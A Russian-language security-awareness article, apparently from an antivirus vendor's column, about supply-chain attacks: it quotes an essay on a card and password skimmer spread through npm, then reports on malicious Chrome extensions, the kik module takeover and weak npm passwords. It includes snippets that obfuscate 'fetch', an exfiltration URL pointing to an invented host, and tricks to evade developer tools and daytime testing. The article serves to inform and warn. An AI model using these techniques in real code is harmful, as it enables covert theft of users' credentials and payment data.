Вы используете устаревший браузер!

Страница может отображаться некорректно.

Слабые звенья

Слабые звенья

Другие выпуски этой рубрики (35)
  • добавить в избранное
    Добавить в закладки

Как пройти во вредоносную библиотеку

Прочитали: 6782 Комментариев: 105 Рейтинг: 107

13 марта 2018

Известно, что в Интернете полно мошенников, но как именно у вас крадут деньги? Может, мы преувеличиваем угрозу и кражи фигурируют только в отчетах ЦБ?

Сам по себе код, который позволяет красть данные с сайтов, очень прост. Лучше всего он себя чувствует, когда выполняется на странице, соответствующей следующим критериям:

  • На странице есть тег <form>.
  • Там имеется элемент, в свойствах которого есть input[type="password"], или name="cardnumber", или name="cvc", или нечто подобное.
  • Страница содержит слова вроде «credit card», «checkout», «login», «password», и так далее.

Затем, при возникновении события blur у поля для ввода пароля или номера кредитной карты, или при возникновении события submit формы, код выполняет следующие действия:

  • Берёт данные из всех полей формы, расположенной на странице (document.forms.forEach(…)).
  • Читает document.cookie.
  • Превращает это всё в строку, которая выглядит как беспорядочный набор символов (const payload = btoa(JSON.stringify(sensitiveUserData))).
  • Затем отправляет то, что получилось, по примерно такому адресу: https://legit-analytics.com?q=${payload} (адрес это, конечно, выдуманный).

Короче говоря, если нечто кажется мне представляющим хоть какую-то ценность, я отправляю это на мой сервер.

https://habrahabr.ru/company/ruvds/blog/346442

Переведем. Создатели сайтов не заморачиваются и используют для названий полей ввода говорящие слова типа login и password. Если вредоносный код видит такие слова, то он анализирует данную страницу и считывает с нее введенные данные (естественно, не всегда все так просто, но далеко не на всех сайтах вводимая информация должным образом защищена).

Однако вредоносный код сам по себе не страшен. Чтобы он заработал, его нужно доставить на компьютер. Скажем, внедрить на сайт, страницу которого откроет пользователь.

Вариантов много, и мы расскажем только об одном – о библиотеках. Писать весь код самостоятельно – долго и зачастую требует специальных знаний (скажем, в области шифрования). Удобнее использовать уже готовые решения. Желательно – бесплатные.

Итак, моим методом для распространения вредоносного кода стал npm.

Что такое npm? Npm (node package manager) — это стандартный менеджер пакетов установки, включающих один или несколько JavaScript-файлов, в свою очередь представляющих собой какую-то библиотеку или инструмент. Пакеты могут скачиваться из облачного сервера npm (https://habrahabr.ru/post/243335).

Мне надо было лишь придумать троянского коня — пакет, несущий хоть какую-нибудь пользу, который веб-мастера устанавливали бы, не беспокоясь о возможных проблемах.

Тут надо сказать, что людям нравятся симпатичные цвета — это то, что отличает нас от собак. Поэтому я создал пакет, который позволяет выводить данные в консоль, раскрашивая текст.

Мне не хотелось ждать, пока заинтересованные лица медленно обнаружат этот пакет и начнут использовать. Поэтому я начал делать пулл-реквесты в существующие пакеты, которые добавляли мой пакет к их зависимостям.

Я сделал несколько сотен реквестов (с разных аккаунтов, ни один из них не раскрывал моего реального имени) в разные фронтденд-пакеты и в их зависимости. «Слушайте, я исправил проблему X и еще добавил возможности логирования».

Вы только посмотрите — я делаю вклад в опенсорс! Мне встретилось множество здравомыслящих людей, которые заявляли, что новая зависимость им не нужна, однако, я вполне был к такому готов. Тут все дело — в количестве.

В итоге меня ждал оглушительный успех, и от моего кода для раскрашивания вывода в консоль теперь зависело 23 пакета. Один из них был в зависимостях у весьма широко используемого пакета — это была, так сказать, моя денежная корова.

То есть автор создает некую библиотеку с вредоносным кодом и, применяя социальную инженерию, начинает упрашивать ее использовать. И находятся те, кто ему верит!

Казалось бы, вредоносный код должен работать везде, даже у разработчиков. Но это тоже предсказуемые люди.

> Я заметил бы исходящие сетевые запросы!

Где бы вы их заметили? Мой код не отправляет ничего при открытых инструментах разработчика (да, даже если соответствующая панель откреплена от основного окна).

Я называю это «маневром Гейзенберга»: пытаясь наблюдать за поведением моего кода, вы меняете его поведение.

Кроме того, моя программа сидит тихо при выполнении на локальном хосте, или на любом IP-адресе, или когда имя домена содержит слова dev, test, qa, uat или staging (окруженные символами границ слов \b).

> Наши пентестеры увидели бы это в их средствах для мониторинга HTTP-запросов!

В какие часы они работают? Моя программа ничего никуда не отправляет между 7-ю утра и 7-ю вечера. Это наполовину сокращает улов, но на 95% уменьшает вероятность обнаружения моего кода.

И кстати, это еще раз нам напоминает о том, что вредоносный скрипт может не только работать непосредственно на загруженной странице, но и использовать данные за ее пределами и даже запускать сторонние процессы.

Но можно же проанализировать код страницы!

Если и так, то вы, опять же, не сможете найти в моем коде ничего подозрительного. У меня нет слов fetch и XMLHttpRequest, или имени домена, куда я отправляю данные. Мой код для сбора данных выглядит примерно так:

const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);

Строка «gfudi» — это всего лишь слово «fetch», коды символов которого увеличены на единицу. Вот вам хардкорная криптография в действии. А self — это всего лишь псевдоним для window.

А вот еще один способ записать команду вида fetch(...):

self['\u0066\u0065\u0074\u0063\u0068'](...)

Вывод заключается в том, что очень сложно, практически невозможно, обнаружить всякие безобразия в обфусцированном коде.

На самом деле автор вредоносного кода и прав, и не прав одновременно. Описанные им вещи выявить можно. Но искать их начнут, только если на сайте будут замечены странности. А, как мы помним, автор не наглел и работал по возможности незаметно.

Рекомендуем прочитать эту статью. Несмотря на обилие терминов она написана так, что понятна и неспециалисту.

Хотя в одном месте он ошибся точно:

Какую технологию выбрать для распространения подобного кода? ... Расширения Chrome слишком ограничены.

https://habrahabr.ru/company/ruvds/blog/346442

Исследователи из компании ICEBRG выявили четыре дополнения к Google Chrome, в которых присутствовали вредоносные вставки, позволяющие выполнять в браузере произвольный код, загружаемый со сторонних сайтов.

В результате проведенного исследования было определено, что причиной данного трафика являются четыре дополнения, представленные в каталоге Chrome Web Store: Nyoogle - Custom Logo for Google (509 тысяч пользователей), Lite Bookmarks, Change HTTP Request Header (14 тысяч), и Stickies - Chrome's Post-it Notes (21 тысяча).

В дополнениях был прошит код для получения команд с внешнего сервера под видом обновления конфигурации. Фактически на машине пользователя мог быть выполнен любой JavaScript-код.

http://www.opennet.ru/opennews/art.shtml?num=47919

Полмиллиона пользователей, которые хотят сменить логотип! Вот оно – хлебное место для социальной инженерии!

Кстати:

Код передавался в закамуфлированном виде в составе отдаваемого внешним сервером JSON-блока с данными. Для обхода Content Security Policy (CSP) дополнениями запрашивались полномочия "unsafe-eval". После загрузки внешнего кода дополнение выполняло проверку на предмет запуска отладочных инструментов (chrome://inspect/ и chrome://net-internals/) и, если они не обнаружены, запускало код в контексте браузерного дополнения.

В точности как и у предыдущего автора: обнаружение средств разработки как средство избежать обнаружения.

Как вредоносный код мог попасть в эти дополнения? Не будем показывать пальцем, возможен и иной вариант.

Отличная возможность для внедрения вредоносных модулей появилась после инцидента с модулем kik, автор которого удалил из репозитория свои 273 модуля, связанные зависимостями со многими проектами. Злоумышленник мог разместить в репозитории новые модули с теми же именами и они были бы установлены на системах, в которых удаленные модули были упомянуты в зависимостях. В результате эксперимента исследователю безопасности удалось перехватить контроль над 238 из 273 удаленных модулей.

https://www.opennet.ru/opennews/art.shtml?num=44111

Или так:

Никита Сковорода, входящий в управляющий технический комитет проекта Node.js, опубликовал результаты анализа надежности паролей для доступа к учетным записям в репозитории NPM. Результат оказался более чем печальным – в ходе проверки удалось получить доступ к 12% аккаунтов (13% пакетов) из-за использования в них предсказуемых и тривиальных паролей, таких как "123456". Среди подобных учетных записей есть и популярные модули, которые находятся в зависимостях у других пакетов. С учетом загрузки других модулей по цепочке зависимостей, компрометация ненадежных учетных записей может поразить в сумме до 52% от всех модулей в NPM.

Всего удалось получить доступ к 15495 учетным записям, используемым для управления 66876 пакетами. В том числе был получен доступ к 4 учетным записям пользователей из Top20 самых популярных пакетов. Также был получен контроль над 13 пользователями, пакеты которых загружают более 50 млн раз в месяц, 40 пользователями с более 10 млн загрузок в месяц и 282 с более 1 млн загрузок в месяц.

Некоторые интересные факты:

  • В учетной записи для доступа к модулю koa, который в прошлом месяце был загружен 300 тысяч раз, использовался пароль "password";
  • Один из пользователей, контролирующий более 20 млн загрузок в месяц, в ответ на отзыв скомпрометированного пароля, установил в качестве нового пароля содержимое старого, добавив к нему символ "!";
  • Пользователь, входящий в top-20, после сброса скомпрометированного пароля опять вернул свой старый пароль через некоторое время;
  • У 662 пользователей был установлен пароль "123456", у 168 – "123", у 115 – "password";
  • 1409 пользователей (1%) указали в качестве пароля свой логин;
  • 10% пользователей повторно использовали свой заведомо скомпрометированный пароль: 9.7% в изначальном виде, а 0.6% внеся в него незначительное изменение;
  • Трафик всех пакетов, к которым был получен доступ в ходе исследования, составляет почти два миллиарда (1 946 302 172) загрузок в месяц, что примерно 20% от общего объема загрузок.

https://www.opennet.ru/opennews/art.shtml?num=46768

Кому она нужна, ваша безопасность!

#JavaScript #терминология #социальная_инженерия #вредоносное_ПО #пароль

Антивирусная правДА! рекомендует

Как вы считаете, каким образом можно защищаться от угроз, о которых вы узнали из этого выпуска?

Оцените выпуск

Сделайте репост

Необходимо войти на страницу выпуска через аккаунт на сайте «Доктор Веб» (или создать аккаунт). Аккаунт должен быть связан с вашим аккаунтом в социальной сети. Видео о связывании аккаунта.


Нам важно ваше мнение

Чтобы оставить комментарий, нужно зайти через свой аккаунт на сайте «Доктор Веб». Если аккаунта еще нет, его можно создать.

Комментарии пользователей

Комментарии к другим выпускам | Мои комментарии

 
На страницу: